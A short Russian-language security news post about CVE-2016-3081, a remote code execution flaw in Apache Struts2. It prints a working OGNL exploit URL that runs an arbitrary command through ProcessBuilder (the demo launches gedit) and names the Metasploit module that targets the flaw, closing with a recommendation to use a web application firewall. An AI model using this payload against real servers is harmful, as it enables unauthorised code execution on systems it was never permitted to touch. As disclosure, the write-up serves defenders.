В популярном модуле веб-сервера Apache Struts2 обнаружена уязвимость, которая может привести к remote code execution. Уязвимости Struts2 присвоен CVE-2016-3081.

Опасность заключается в открытии динамического вызова, который атакующий может использовать для проведения атаки типа удаленное выполнение кода.

Уязвимость связана с недостаточной обработкой (проверкой) специальных символов, отсутствие запрета на использование кавычек. Уязвимость позволяет использовать ссылочный метод передачи параметров для передачи строки.

Пример эксплоита, запускающего текстовый редактор gedit:

http://XXX.XXX.XXX.XXX:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

В популярном фреймворке эксплуатации уязвимостей Metasploit Framework появился модуь для эксплуатации уязвимости CVE-2016-3081:

msf > use exploit/multi/http/struts_dmi_exec

Использование Web Application Firewall позволяет блокировать подобные атаки даже при наличии уязвимости "нулевого дня".